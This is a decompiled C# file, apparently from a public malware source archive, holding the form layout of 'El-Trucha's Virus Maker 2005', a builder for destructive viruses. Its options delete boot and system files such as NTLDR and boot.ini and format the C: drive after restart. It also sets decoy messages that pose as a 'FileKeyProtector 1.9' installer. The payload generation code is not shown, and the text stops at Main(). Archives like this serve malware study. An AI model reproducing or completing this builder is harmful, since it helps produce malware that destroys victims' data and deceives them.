mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 11:26:11 +00:00
796 lines
36 KiB
C#
796 lines
36 KiB
C#
|
// Decompiled with JetBrains decompiler
|
|||
|
// Type: El_Trucha_s_Virus_Maker_2005.ETVM05
|
|||
|
// Assembly: "El-Trucha's Virus Maker 2005", Version=1.0.1913.26518, Culture=neutral, PublicKeyToken=null
|
|||
|
// MVID: 43024C13-9626-43BD-9145-B3D934449AAC
|
|||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Constructor.Win32.Trucha.a-b3a9f9bfca0d58d23a418e9baa7aa933399c352cb80473bdc3deeee4272e88fc.exe
|
|||
|
|
|||
|
using Microsoft.CSharp;
|
|||
|
using System;
|
|||
|
using System.CodeDom.Compiler;
|
|||
|
using System.Collections;
|
|||
|
using System.ComponentModel;
|
|||
|
using System.Diagnostics;
|
|||
|
using System.Drawing;
|
|||
|
using System.IO;
|
|||
|
using System.Resources;
|
|||
|
using System.Windows.Forms;
|
|||
|
|
|||
|
namespace El_Trucha_s_Virus_Maker_2005
|
|||
|
{
|
|||
|
public class ETVM05 : Form
|
|||
|
{
|
|||
|
private GroupBox groupBox2;
|
|||
|
private CheckBox autoexec_bat;
|
|||
|
private CheckBox command_com;
|
|||
|
private CheckBox win_ini;
|
|||
|
private CheckBox win_com;
|
|||
|
private CheckBox boot_ini;
|
|||
|
private CheckBox ntldr;
|
|||
|
private StreamWriter myvirus;
|
|||
|
private GroupBox groupBox3;
|
|||
|
private CheckBox far;
|
|||
|
private CheckBox farMsgSelect;
|
|||
|
private TextBox farMsg;
|
|||
|
private Button makeVirus;
|
|||
|
private TextBox endMsg;
|
|||
|
private TextBox welMsg;
|
|||
|
private Label label1;
|
|||
|
private Label label2;
|
|||
|
private TabControl tabControl2;
|
|||
|
private TabPage tabPage3;
|
|||
|
private TabPage tabPage4;
|
|||
|
private TextBox welMsgText;
|
|||
|
private TextBox welMsgTitle;
|
|||
|
private RadioButton wmAst;
|
|||
|
private RadioButton wmQuest;
|
|||
|
private RadioButton wmError;
|
|||
|
private RadioButton wmInfo;
|
|||
|
private TextBox emText;
|
|||
|
private Label label3;
|
|||
|
private TextBox emTitle;
|
|||
|
private Label label4;
|
|||
|
private RadioButton emAst;
|
|||
|
private RadioButton emQuest;
|
|||
|
private RadioButton emError;
|
|||
|
private RadioButton emInfo;
|
|||
|
private TabControl msgType;
|
|||
|
private TabPage dosCons;
|
|||
|
private TabPage msgBox;
|
|||
|
private CheckBox useMsgBox;
|
|||
|
private CheckBox useDosCons;
|
|||
|
private Label label5;
|
|||
|
private Label label6;
|
|||
|
private string wmIcon;
|
|||
|
private string emIcon;
|
|||
|
private Label stageLabel;
|
|||
|
private ProgressBar stageProgress;
|
|||
|
private Process compiler;
|
|||
|
private HelpProvider help;
|
|||
|
private Button about;
|
|||
|
private string statusForLabel;
|
|||
|
private Label label7;
|
|||
|
private TextBox fileIcon;
|
|||
|
private Container components = (Container) null;
|
|||
|
|
|||
|
public ETVM05() => this.InitializeComponent();
|
|||
|
|
|||
|
protected override void Dispose(bool disposing)
|
|||
|
{
|
|||
|
if (disposing && this.components != null)
|
|||
|
this.components.Dispose();
|
|||
|
base.Dispose(disposing);
|
|||
|
}
|
|||
|
|
|||
|
private void InitializeComponent()
|
|||
|
{
|
|||
|
ResourceManager resourceManager = new ResourceManager(typeof (ETVM05));
|
|||
|
this.groupBox2 = new GroupBox();
|
|||
|
this.ntldr = new CheckBox();
|
|||
|
this.boot_ini = new CheckBox();
|
|||
|
this.win_com = new CheckBox();
|
|||
|
this.win_ini = new CheckBox();
|
|||
|
this.command_com = new CheckBox();
|
|||
|
this.autoexec_bat = new CheckBox();
|
|||
|
this.makeVirus = new Button();
|
|||
|
this.groupBox3 = new GroupBox();
|
|||
|
this.farMsg = new TextBox();
|
|||
|
this.farMsgSelect = new CheckBox();
|
|||
|
this.far = new CheckBox();
|
|||
|
this.msgType = new TabControl();
|
|||
|
this.dosCons = new TabPage();
|
|||
|
this.label6 = new Label();
|
|||
|
this.label5 = new Label();
|
|||
|
this.useDosCons = new CheckBox();
|
|||
|
this.endMsg = new TextBox();
|
|||
|
this.welMsg = new TextBox();
|
|||
|
this.msgBox = new TabPage();
|
|||
|
this.useMsgBox = new CheckBox();
|
|||
|
this.tabControl2 = new TabControl();
|
|||
|
this.tabPage3 = new TabPage();
|
|||
|
this.welMsgText = new TextBox();
|
|||
|
this.label2 = new Label();
|
|||
|
this.welMsgTitle = new TextBox();
|
|||
|
this.label1 = new Label();
|
|||
|
this.wmAst = new RadioButton();
|
|||
|
this.wmQuest = new RadioButton();
|
|||
|
this.wmError = new RadioButton();
|
|||
|
this.wmInfo = new RadioButton();
|
|||
|
this.tabPage4 = new TabPage();
|
|||
|
this.emInfo = new RadioButton();
|
|||
|
this.emText = new TextBox();
|
|||
|
this.label3 = new Label();
|
|||
|
this.emTitle = new TextBox();
|
|||
|
this.label4 = new Label();
|
|||
|
this.emAst = new RadioButton();
|
|||
|
this.emQuest = new RadioButton();
|
|||
|
this.emError = new RadioButton();
|
|||
|
this.stageLabel = new Label();
|
|||
|
this.stageProgress = new ProgressBar();
|
|||
|
this.compiler = new Process();
|
|||
|
this.help = new HelpProvider();
|
|||
|
this.fileIcon = new TextBox();
|
|||
|
this.about = new Button();
|
|||
|
this.label7 = new Label();
|
|||
|
this.groupBox2.SuspendLayout();
|
|||
|
this.groupBox3.SuspendLayout();
|
|||
|
this.msgType.SuspendLayout();
|
|||
|
this.dosCons.SuspendLayout();
|
|||
|
this.msgBox.SuspendLayout();
|
|||
|
this.tabControl2.SuspendLayout();
|
|||
|
this.tabPage3.SuspendLayout();
|
|||
|
this.tabPage4.SuspendLayout();
|
|||
|
this.SuspendLayout();
|
|||
|
this.groupBox2.Controls.Add((Control) this.ntldr);
|
|||
|
this.groupBox2.Controls.Add((Control) this.boot_ini);
|
|||
|
this.groupBox2.Controls.Add((Control) this.win_com);
|
|||
|
this.groupBox2.Controls.Add((Control) this.win_ini);
|
|||
|
this.groupBox2.Controls.Add((Control) this.command_com);
|
|||
|
this.groupBox2.Controls.Add((Control) this.autoexec_bat);
|
|||
|
this.groupBox2.FlatStyle = FlatStyle.System;
|
|||
|
this.help.SetHelpString((Control) this.groupBox2, "Select all the files you want to delete.");
|
|||
|
this.groupBox2.Location = new Point(216, 8);
|
|||
|
this.groupBox2.Name = "groupBox2";
|
|||
|
this.help.SetShowHelp((Control) this.groupBox2, true);
|
|||
|
this.groupBox2.Size = new Size(120, 120);
|
|||
|
this.groupBox2.TabIndex = 1;
|
|||
|
this.groupBox2.TabStop = false;
|
|||
|
this.groupBox2.Text = "Files to Delete";
|
|||
|
this.ntldr.FlatStyle = FlatStyle.System;
|
|||
|
this.ntldr.ImeMode = ImeMode.NoControl;
|
|||
|
this.ntldr.Location = new Point(8, 96);
|
|||
|
this.ntldr.Name = "ntldr";
|
|||
|
this.ntldr.Size = new Size(72, 16);
|
|||
|
this.ntldr.TabIndex = 18;
|
|||
|
this.ntldr.Text = "NTLDR";
|
|||
|
this.boot_ini.FlatStyle = FlatStyle.System;
|
|||
|
this.boot_ini.ImeMode = ImeMode.NoControl;
|
|||
|
this.boot_ini.Location = new Point(8, 80);
|
|||
|
this.boot_ini.Name = "boot_ini";
|
|||
|
this.boot_ini.Size = new Size(72, 16);
|
|||
|
this.boot_ini.TabIndex = 17;
|
|||
|
this.boot_ini.Text = "boot.ini";
|
|||
|
this.win_com.FlatStyle = FlatStyle.System;
|
|||
|
this.win_com.ImeMode = ImeMode.NoControl;
|
|||
|
this.win_com.Location = new Point(8, 64);
|
|||
|
this.win_com.Name = "win_com";
|
|||
|
this.win_com.Size = new Size(72, 16);
|
|||
|
this.win_com.TabIndex = 16;
|
|||
|
this.win_com.Text = "Win.com";
|
|||
|
this.win_ini.FlatStyle = FlatStyle.System;
|
|||
|
this.win_ini.ImeMode = ImeMode.NoControl;
|
|||
|
this.win_ini.Location = new Point(8, 48);
|
|||
|
this.win_ini.Name = "win_ini";
|
|||
|
this.win_ini.Size = new Size(64, 16);
|
|||
|
this.win_ini.TabIndex = 15;
|
|||
|
this.win_ini.Text = "Win.ini";
|
|||
|
this.command_com.FlatStyle = FlatStyle.System;
|
|||
|
this.command_com.ImeMode = ImeMode.NoControl;
|
|||
|
this.command_com.Location = new Point(8, 32);
|
|||
|
this.command_com.Name = "command_com";
|
|||
|
this.command_com.Size = new Size(104, 16);
|
|||
|
this.command_com.TabIndex = 14;
|
|||
|
this.command_com.Text = "Command.com";
|
|||
|
this.autoexec_bat.FlatStyle = FlatStyle.System;
|
|||
|
this.autoexec_bat.ImeMode = ImeMode.NoControl;
|
|||
|
this.autoexec_bat.Location = new Point(8, 16);
|
|||
|
this.autoexec_bat.Name = "autoexec_bat";
|
|||
|
this.autoexec_bat.Size = new Size(96, 16);
|
|||
|
this.autoexec_bat.TabIndex = 13;
|
|||
|
this.autoexec_bat.Text = "Autoexec.bat";
|
|||
|
this.makeVirus.FlatStyle = FlatStyle.System;
|
|||
|
this.makeVirus.Font = new Font("Papyrus", 9.75f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
|
|||
|
this.help.SetHelpString((Control) this.makeVirus, "Make the virus.");
|
|||
|
this.makeVirus.ImeMode = ImeMode.NoControl;
|
|||
|
this.makeVirus.Location = new Point(216, 160);
|
|||
|
this.makeVirus.Name = "makeVirus";
|
|||
|
this.help.SetShowHelp((Control) this.makeVirus, true);
|
|||
|
this.makeVirus.Size = new Size(120, 48);
|
|||
|
this.makeVirus.TabIndex = 30;
|
|||
|
this.makeVirus.Text = "Be mean,\nMake Virus!!";
|
|||
|
this.makeVirus.Click += new EventHandler(this.makeVirus_Click);
|
|||
|
this.groupBox3.Controls.Add((Control) this.farMsg);
|
|||
|
this.groupBox3.Controls.Add((Control) this.farMsgSelect);
|
|||
|
this.groupBox3.Controls.Add((Control) this.far);
|
|||
|
this.groupBox3.Cursor = Cursors.Default;
|
|||
|
this.groupBox3.FlatStyle = FlatStyle.System;
|
|||
|
this.help.SetHelpString((Control) this.groupBox3, "Options for reformatting hard drive.");
|
|||
|
this.groupBox3.Location = new Point(344, 8);
|
|||
|
this.groupBox3.Name = "groupBox3";
|
|||
|
this.help.SetShowHelp((Control) this.groupBox3, true);
|
|||
|
this.groupBox3.Size = new Size(144, 96);
|
|||
|
this.groupBox3.TabIndex = 18;
|
|||
|
this.groupBox3.TabStop = false;
|
|||
|
this.groupBox3.Text = "Miscelaneous";
|
|||
|
this.farMsg.Enabled = false;
|
|||
|
this.help.SetHelpString((Control) this.farMsg, "If you checked the above checkbox, then this message will be shown while it formats.");
|
|||
|
this.farMsg.Location = new Point(8, 64);
|
|||
|
this.farMsg.Name = "farMsg";
|
|||
|
this.help.SetShowHelp((Control) this.farMsg, true);
|
|||
|
this.farMsg.Size = new Size(128, 20);
|
|||
|
this.farMsg.TabIndex = 21;
|
|||
|
this.farMsg.Text = "I'm formatting your PC now...hope you don't mess with the wrong people next time...hehe...";
|
|||
|
this.farMsgSelect.Enabled = false;
|
|||
|
this.farMsgSelect.FlatStyle = FlatStyle.System;
|
|||
|
this.help.SetHelpString((Control) this.farMsgSelect, "If you checked the above checkbox, then this message will be shown while it formats.");
|
|||
|
this.farMsgSelect.ImeMode = ImeMode.NoControl;
|
|||
|
this.farMsgSelect.Location = new Point(8, 48);
|
|||
|
this.farMsgSelect.Name = "farMsgSelect";
|
|||
|
this.help.SetShowHelp((Control) this.farMsgSelect, true);
|
|||
|
this.farMsgSelect.Size = new Size(96, 16);
|
|||
|
this.farMsgSelect.TabIndex = 20;
|
|||
|
this.farMsgSelect.Text = "Message";
|
|||
|
this.farMsgSelect.CheckedChanged += new EventHandler(this.farMsgSelect_CheckedChanged);
|
|||
|
this.far.FlatStyle = FlatStyle.System;
|
|||
|
this.help.SetHelpString((Control) this.far, "Select this if you want to reformat the C: drive after restart.");
|
|||
|
this.far.ImeMode = ImeMode.NoControl;
|
|||
|
this.far.Location = new Point(8, 16);
|
|||
|
this.far.Name = "far";
|
|||
|
this.help.SetShowHelp((Control) this.far, true);
|
|||
|
this.far.Size = new Size(120, 32);
|
|||
|
this.far.TabIndex = 19;
|
|||
|
this.far.Text = "Format C: drive after restart";
|
|||
|
this.far.CheckedChanged += new EventHandler(this.far_CheckedChanged);
|
|||
|
this.msgType.Controls.Add((Control) this.dosCons);
|
|||
|
this.msgType.Controls.Add((Control) this.msgBox);
|
|||
|
this.help.SetHelpString((Control) this.msgType, "Select which method you want for messages.");
|
|||
|
this.msgType.ItemSize = new Size(76, 18);
|
|||
|
this.msgType.Location = new Point(8, 8);
|
|||
|
this.msgType.Name = "msgType";
|
|||
|
this.msgType.SelectedIndex = 0;
|
|||
|
this.help.SetShowHelp((Control) this.msgType, true);
|
|||
|
this.msgType.Size = new Size(200, 200);
|
|||
|
this.msgType.TabIndex = 1;
|
|||
|
this.dosCons.Controls.Add((Control) this.label6);
|
|||
|
this.dosCons.Controls.Add((Control) this.label5);
|
|||
|
this.dosCons.Controls.Add((Control) this.useDosCons);
|
|||
|
this.dosCons.Controls.Add((Control) this.endMsg);
|
|||
|
this.dosCons.Controls.Add((Control) this.welMsg);
|
|||
|
((Control) this.dosCons).Location = new Point(4, 22);
|
|||
|
this.dosCons.Name = "dosCons";
|
|||
|
this.dosCons.Size = new Size(192, 174);
|
|||
|
this.dosCons.TabIndex = 0;
|
|||
|
this.dosCons.Text = "DOS Console";
|
|||
|
this.label6.ImeMode = ImeMode.NoControl;
|
|||
|
this.label6.Location = new Point(8, 80);
|
|||
|
this.label6.Name = "label6";
|
|||
|
this.label6.Size = new Size(56, 16);
|
|||
|
this.label6.TabIndex = 10;
|
|||
|
this.label6.Text = "Ending:";
|
|||
|
this.label5.ImeMode = ImeMode.NoControl;
|
|||
|
this.label5.Location = new Point(8, 32);
|
|||
|
this.label5.Name = "label5";
|
|||
|
this.label5.Size = new Size(56, 16);
|
|||
|
this.label5.TabIndex = 9;
|
|||
|
this.label5.Text = "Welcome:";
|
|||
|
this.useDosCons.Checked = true;
|
|||
|
this.useDosCons.CheckState = CheckState.Checked;
|
|||
|
this.useDosCons.FlatStyle = FlatStyle.System;
|
|||
|
this.help.SetHelpString((Control) this.useDosCons, "If this is checked, then a two DOS windows with messages will be shown at the beginning and end of the program.");
|
|||
|
this.useDosCons.ImeMode = ImeMode.NoControl;
|
|||
|
this.useDosCons.Location = new Point(8, 8);
|
|||
|
this.useDosCons.Name = "useDosCons";
|
|||
|
this.help.SetShowHelp((Control) this.useDosCons, true);
|
|||
|
this.useDosCons.Size = new Size(120, 16);
|
|||
|
this.useDosCons.TabIndex = 2;
|
|||
|
this.useDosCons.Text = "Use DOS Console";
|
|||
|
this.useDosCons.CheckedChanged += new EventHandler(this.useDosCons_CheckedChanged);
|
|||
|
this.help.SetHelpString((Control) this.endMsg, "If you select the above checkbox, then this will be shown on a DOS console window at the end of the program.");
|
|||
|
this.endMsg.Location = new Point(8, 96);
|
|||
|
this.endMsg.Name = "endMsg";
|
|||
|
this.help.SetShowHelp((Control) this.endMsg, true);
|
|||
|
this.endMsg.Size = new Size(176, 20);
|
|||
|
this.endMsg.TabIndex = 4;
|
|||
|
this.endMsg.Text = "Your computer's gonna die now!!";
|
|||
|
this.help.SetHelpString((Control) this.welMsg, "If you select the above checkbox, then this will be shown on a DOS console window at the beginning of the program.");
|
|||
|
this.welMsg.Location = new Point(8, 48);
|
|||
|
this.welMsg.Name = "welMsg";
|
|||
|
this.help.SetShowHelp((Control) this.welMsg, true);
|
|||
|
this.welMsg.Size = new Size(176, 20);
|
|||
|
this.welMsg.TabIndex = 3;
|
|||
|
this.welMsg.Text = "Welcome to the installer!";
|
|||
|
this.msgBox.Controls.Add((Control) this.useMsgBox);
|
|||
|
this.msgBox.Controls.Add((Control) this.tabControl2);
|
|||
|
((Control) this.msgBox).Location = new Point(4, 22);
|
|||
|
this.msgBox.Name = "msgBox";
|
|||
|
this.msgBox.Size = new Size(192, 174);
|
|||
|
this.msgBox.TabIndex = 1;
|
|||
|
this.msgBox.Text = "Message Box";
|
|||
|
this.useMsgBox.FlatStyle = FlatStyle.System;
|
|||
|
this.help.SetHelpString((Control) this.useMsgBox, "If this is checked, then a two message boxes with messages will be shown at the beginning and end of the program.");
|
|||
|
this.useMsgBox.ImeMode = ImeMode.NoControl;
|
|||
|
this.useMsgBox.Location = new Point(8, 8);
|
|||
|
this.useMsgBox.Name = "useMsgBox";
|
|||
|
this.help.SetShowHelp((Control) this.useMsgBox, true);
|
|||
|
this.useMsgBox.Size = new Size(120, 16);
|
|||
|
this.useMsgBox.TabIndex = 5;
|
|||
|
this.useMsgBox.Text = "Use Message Box";
|
|||
|
this.useMsgBox.CheckedChanged += new EventHandler(this.useMsgBox_CheckedChanged);
|
|||
|
this.tabControl2.Controls.Add((Control) this.tabPage3);
|
|||
|
this.tabControl2.Controls.Add((Control) this.tabPage4);
|
|||
|
this.help.SetHelpString((Control) this.tabControl2, "Select a tab for the properties of the message.");
|
|||
|
this.tabControl2.ItemSize = new Size(57, 18);
|
|||
|
this.tabControl2.Location = new Point(8, 32);
|
|||
|
this.tabControl2.Name = "tabControl2";
|
|||
|
this.tabControl2.SelectedIndex = 0;
|
|||
|
this.help.SetShowHelp((Control) this.tabControl2, true);
|
|||
|
this.tabControl2.Size = new Size(176, 128);
|
|||
|
this.tabControl2.TabIndex = 6;
|
|||
|
this.tabPage3.Controls.Add((Control) this.welMsgText);
|
|||
|
this.tabPage3.Controls.Add((Control) this.label2);
|
|||
|
this.tabPage3.Controls.Add((Control) this.welMsgTitle);
|
|||
|
this.tabPage3.Controls.Add((Control) this.label1);
|
|||
|
this.tabPage3.Controls.Add((Control) this.wmAst);
|
|||
|
this.tabPage3.Controls.Add((Control) this.wmQuest);
|
|||
|
this.tabPage3.Controls.Add((Control) this.wmError);
|
|||
|
this.tabPage3.Controls.Add((Control) this.wmInfo);
|
|||
|
((Control) this.tabPage3).Location = new Point(4, 22);
|
|||
|
this.tabPage3.Name = "tabPage3";
|
|||
|
this.tabPage3.Size = new Size(168, 102);
|
|||
|
this.tabPage3.TabIndex = 0;
|
|||
|
this.tabPage3.Text = "Welcome";
|
|||
|
this.help.SetHelpString((Control) this.welMsgText, "If you select the above checkbox, then this message will be shown on a message box at the beginning of the program.");
|
|||
|
this.welMsgText.Location = new Point(8, 8);
|
|||
|
this.welMsgText.Name = "welMsgText";
|
|||
|
this.help.SetShowHelp((Control) this.welMsgText, true);
|
|||
|
this.welMsgText.Size = new Size(152, 20);
|
|||
|
this.welMsgText.TabIndex = 7;
|
|||
|
this.welMsgText.Text = "Welcome to the installer!";
|
|||
|
this.label2.ImeMode = ImeMode.NoControl;
|
|||
|
this.label2.Location = new Point(8, 32);
|
|||
|
this.label2.Name = "label2";
|
|||
|
this.label2.Size = new Size(32, 16);
|
|||
|
this.label2.TabIndex = 26;
|
|||
|
this.label2.Text = "Title:";
|
|||
|
this.help.SetHelpString((Control) this.welMsgTitle, "If you select the above checkbox, then this message will be shown on a message box at the beginning of the program.");
|
|||
|
this.welMsgTitle.Location = new Point(40, 32);
|
|||
|
this.welMsgTitle.Name = "welMsgTitle";
|
|||
|
this.help.SetShowHelp((Control) this.welMsgTitle, true);
|
|||
|
this.welMsgTitle.Size = new Size(120, 20);
|
|||
|
this.welMsgTitle.TabIndex = 8;
|
|||
|
this.welMsgTitle.Text = "FileKeyProtector 1.9";
|
|||
|
this.label1.ImeMode = ImeMode.NoControl;
|
|||
|
this.label1.Location = new Point(8, 56);
|
|||
|
this.label1.Name = "label1";
|
|||
|
this.label1.Size = new Size(32, 16);
|
|||
|
this.label1.TabIndex = 28;
|
|||
|
this.label1.Text = "Icon:";
|
|||
|
this.help.SetHelpString((Control) this.wmAst, "Select an icon for the message box.");
|
|||
|
this.wmAst.Image = (Image) resourceManager.GetObject("wmAst.Image");
|
|||
|
this.wmAst.ImeMode = ImeMode.NoControl;
|
|||
|
this.wmAst.Location = new Point(40, 56);
|
|||
|
this.wmAst.Name = "wmAst";
|
|||
|
this.help.SetShowHelp((Control) this.wmAst, true);
|
|||
|
this.wmAst.Size = new Size(32, 24);
|
|||
|
this.wmAst.TabIndex = 9;
|
|||
|
this.help.SetHelpString((Control) this.wmQuest, "Select an icon for the message box.");
|
|||
|
this.wmQuest.Image = (Image) resourceManager.GetObject("wmQuest.Image");
|
|||
|
this.wmQuest.ImeMode = ImeMode.NoControl;
|
|||
|
this.wmQuest.Location = new Point(72, 56);
|
|||
|
this.wmQuest.Name = "wmQuest";
|
|||
|
this.help.SetShowHelp((Control) this.wmQuest, true);
|
|||
|
this.wmQuest.Size = new Size(32, 24);
|
|||
|
this.wmQuest.TabIndex = 10;
|
|||
|
this.help.SetHelpString((Control) this.wmError, "Select an icon for the message box.");
|
|||
|
this.wmError.Image = (Image) resourceManager.GetObject("wmError.Image");
|
|||
|
this.wmError.ImeMode = ImeMode.NoControl;
|
|||
|
this.wmError.Location = new Point(104, 56);
|
|||
|
this.wmError.Name = "wmError";
|
|||
|
this.help.SetShowHelp((Control) this.wmError, true);
|
|||
|
this.wmError.Size = new Size(32, 24);
|
|||
|
this.wmError.TabIndex = 11;
|
|||
|
this.wmInfo.Checked = true;
|
|||
|
this.help.SetHelpString((Control) this.wmInfo, "Select an icon for the message box.");
|
|||
|
this.wmInfo.Image = (Image) resourceManager.GetObject("wmInfo.Image");
|
|||
|
this.wmInfo.ImeMode = ImeMode.NoControl;
|
|||
|
this.wmInfo.Location = new Point(136, 56);
|
|||
|
this.wmInfo.Name = "wmInfo";
|
|||
|
this.help.SetShowHelp((Control) this.wmInfo, true);
|
|||
|
this.wmInfo.Size = new Size(32, 24);
|
|||
|
this.wmInfo.TabIndex = 12;
|
|||
|
this.wmInfo.TabStop = true;
|
|||
|
this.tabPage4.Controls.Add((Control) this.emInfo);
|
|||
|
this.tabPage4.Controls.Add((Control) this.emText);
|
|||
|
this.tabPage4.Controls.Add((Control) this.label3);
|
|||
|
this.tabPage4.Controls.Add((Control) this.emTitle);
|
|||
|
this.tabPage4.Controls.Add((Control) this.label4);
|
|||
|
this.tabPage4.Controls.Add((Control) this.emAst);
|
|||
|
this.tabPage4.Controls.Add((Control) this.emQuest);
|
|||
|
this.tabPage4.Controls.Add((Control) this.emError);
|
|||
|
((Control) this.tabPage4).Location = new Point(4, 22);
|
|||
|
this.tabPage4.Name = "tabPage4";
|
|||
|
this.tabPage4.Size = new Size(168, 102);
|
|||
|
this.tabPage4.TabIndex = 1;
|
|||
|
this.tabPage4.Text = "Ending";
|
|||
|
this.help.SetHelpString((Control) this.emInfo, "Select an icon for the message box.");
|
|||
|
this.emInfo.Image = (Image) resourceManager.GetObject("emInfo.Image");
|
|||
|
this.emInfo.ImeMode = ImeMode.NoControl;
|
|||
|
this.emInfo.Location = new Point(136, 56);
|
|||
|
this.emInfo.Name = "emInfo";
|
|||
|
this.help.SetShowHelp((Control) this.emInfo, true);
|
|||
|
this.emInfo.Size = new Size(32, 24);
|
|||
|
this.emInfo.TabIndex = 36;
|
|||
|
this.help.SetHelpString((Control) this.emText, "If you select the above checkbox, then this message will be shown on a message box at the end of the program.");
|
|||
|
this.emText.Location = new Point(8, 8);
|
|||
|
this.emText.Name = "emText";
|
|||
|
this.help.SetShowHelp((Control) this.emText, true);
|
|||
|
this.emText.Size = new Size(152, 20);
|
|||
|
this.emText.TabIndex = 32;
|
|||
|
this.emText.Text = "Invalid block memory block address.";
|
|||
|
this.label3.ImeMode = ImeMode.NoControl;
|
|||
|
this.label3.Location = new Point(8, 32);
|
|||
|
this.label3.Name = "label3";
|
|||
|
this.label3.Size = new Size(32, 16);
|
|||
|
this.label3.TabIndex = 37;
|
|||
|
this.label3.Text = "Title:";
|
|||
|
this.help.SetHelpString((Control) this.emTitle, "If you select the above checkbox, then this message will be shown on a message box at the end of the program.");
|
|||
|
this.emTitle.Location = new Point(40, 32);
|
|||
|
this.emTitle.Name = "emTitle";
|
|||
|
this.help.SetShowHelp((Control) this.emTitle, true);
|
|||
|
this.emTitle.Size = new Size(120, 20);
|
|||
|
this.emTitle.TabIndex = 38;
|
|||
|
this.emTitle.Text = "FileKeyProtector 1.9";
|
|||
|
this.label4.ImeMode = ImeMode.NoControl;
|
|||
|
this.label4.Location = new Point(8, 56);
|
|||
|
this.label4.Name = "label4";
|
|||
|
this.label4.Size = new Size(32, 16);
|
|||
|
this.label4.TabIndex = 39;
|
|||
|
this.label4.Text = "Icon:";
|
|||
|
this.help.SetHelpString((Control) this.emAst, "Select an icon for the message box.");
|
|||
|
this.emAst.Image = (Image) resourceManager.GetObject("emAst.Image");
|
|||
|
this.emAst.ImeMode = ImeMode.NoControl;
|
|||
|
this.emAst.Location = new Point(40, 56);
|
|||
|
this.emAst.Name = "emAst";
|
|||
|
this.help.SetShowHelp((Control) this.emAst, true);
|
|||
|
this.emAst.Size = new Size(32, 24);
|
|||
|
this.emAst.TabIndex = 33;
|
|||
|
this.help.SetHelpString((Control) this.emQuest, "Select an icon for the message box.");
|
|||
|
this.emQuest.Image = (Image) resourceManager.GetObject("emQuest.Image");
|
|||
|
this.emQuest.ImeMode = ImeMode.NoControl;
|
|||
|
this.emQuest.Location = new Point(72, 56);
|
|||
|
this.emQuest.Name = "emQuest";
|
|||
|
this.help.SetShowHelp((Control) this.emQuest, true);
|
|||
|
this.emQuest.Size = new Size(32, 24);
|
|||
|
this.emQuest.TabIndex = 34;
|
|||
|
this.emError.Checked = true;
|
|||
|
this.help.SetHelpString((Control) this.emError, "Select an icon for the message box.");
|
|||
|
this.emError.Image = (Image) resourceManager.GetObject("emError.Image");
|
|||
|
this.emError.ImeMode = ImeMode.NoControl;
|
|||
|
this.emError.Location = new Point(104, 56);
|
|||
|
this.emError.Name = "emError";
|
|||
|
this.help.SetShowHelp((Control) this.emError, true);
|
|||
|
this.emError.Size = new Size(32, 24);
|
|||
|
this.emError.TabIndex = 35;
|
|||
|
this.emError.TabStop = true;
|
|||
|
this.help.SetHelpString((Control) this.stageLabel, "Know what the program's doing.");
|
|||
|
this.stageLabel.Location = new Point(344, 168);
|
|||
|
this.stageLabel.Name = "stageLabel";
|
|||
|
this.help.SetShowHelp((Control) this.stageLabel, true);
|
|||
|
this.stageLabel.Size = new Size(144, 16);
|
|||
|
this.stageLabel.TabIndex = 22;
|
|||
|
this.stageLabel.Text = "Status: Ready.";
|
|||
|
this.help.SetHelpString((Control) this.stageProgress, "Know the virus making progress");
|
|||
|
this.stageProgress.Location = new Point(344, 184);
|
|||
|
this.stageProgress.Name = "stageProgress";
|
|||
|
this.help.SetShowHelp((Control) this.stageProgress, true);
|
|||
|
this.stageProgress.Size = new Size(144, 16);
|
|||
|
this.stageProgress.TabIndex = 23;
|
|||
|
this.compiler.SynchronizingObject = (ISynchronizeInvoke) this;
|
|||
|
this.help.SetHelpString((Control) this.fileIcon, "Select an icon for your virus. If you just want a default EXE icon, then leave this box BLANK");
|
|||
|
this.fileIcon.Location = new Point(344, 128);
|
|||
|
this.fileIcon.Name = "fileIcon";
|
|||
|
this.help.SetShowHelp((Control) this.fileIcon, true);
|
|||
|
this.fileIcon.Size = new Size(144, 20);
|
|||
|
this.fileIcon.TabIndex = 31;
|
|||
|
this.fileIcon.Text = "";
|
|||
|
this.about.FlatStyle = FlatStyle.System;
|
|||
|
this.help.SetHelpString((Control) this.about, "View an About... window for this program");
|
|||
|
this.about.Location = new Point(216, 136);
|
|||
|
this.about.Name = "about";
|
|||
|
this.help.SetShowHelp((Control) this.about, true);
|
|||
|
this.about.Size = new Size(120, 16);
|
|||
|
this.about.TabIndex = 29;
|
|||
|
this.about.Text = "About...";
|
|||
|
this.about.Click += new EventHandler(this.about_Click);
|
|||
|
this.label7.Location = new Point(344, 112);
|
|||
|
this.label7.Name = "label7";
|
|||
|
this.label7.Size = new Size(104, 16);
|
|||
|
this.label7.TabIndex = 32;
|
|||
|
this.label7.Text = "File Icon";
|
|||
|
this.AcceptButton = (IButtonControl) this.makeVirus;
|
|||
|
this.AutoScaleBaseSize = new Size(5, 13);
|
|||
|
this.ClientSize = new Size(498, 216);
|
|||
|
this.Controls.Add((Control) this.label7);
|
|||
|
this.Controls.Add((Control) this.fileIcon);
|
|||
|
this.Controls.Add((Control) this.about);
|
|||
|
this.Controls.Add((Control) this.stageProgress);
|
|||
|
this.Controls.Add((Control) this.stageLabel);
|
|||
|
this.Controls.Add((Control) this.msgType);
|
|||
|
this.Controls.Add((Control) this.groupBox3);
|
|||
|
this.Controls.Add((Control) this.makeVirus);
|
|||
|
this.Controls.Add((Control) this.groupBox2);
|
|||
|
this.FormBorderStyle = FormBorderStyle.FixedSingle;
|
|||
|
this.HelpButton = true;
|
|||
|
this.Icon = (Icon) resourceManager.GetObject("$this.Icon");
|
|||
|
this.MaximizeBox = false;
|
|||
|
this.MinimizeBox = false;
|
|||
|
this.Name = nameof (ETVM05);
|
|||
|
this.StartPosition = FormStartPosition.CenterScreen;
|
|||
|
this.Text = "El-Trucha's Virus Maker 2005 BETA 2";
|
|||
|
this.Load += new EventHandler(this.ETVM05_Load);
|
|||
|
this.groupBox2.ResumeLayout(false);
|
|||
|
this.groupBox3.ResumeLayout(false);
|
|||
|
this.msgType.ResumeLayout(false);
|
|||
|
this.dosCons.ResumeLayout(false);
|
|||
|
this.msgBox.ResumeLayout(false);
|
|||
|
this.tabControl2.ResumeLayout(false);
|
|||
|
this.tabPage3.ResumeLayout(false);
|
|||
|
this.tabPage4.ResumeLayout(false);
|
|||
|
this.ResumeLayout(false);
|
|||
|
}
|
|||
|
|
|||
|
[STAThread]
|
|||
|
private static void Main()
|
|||
|
{
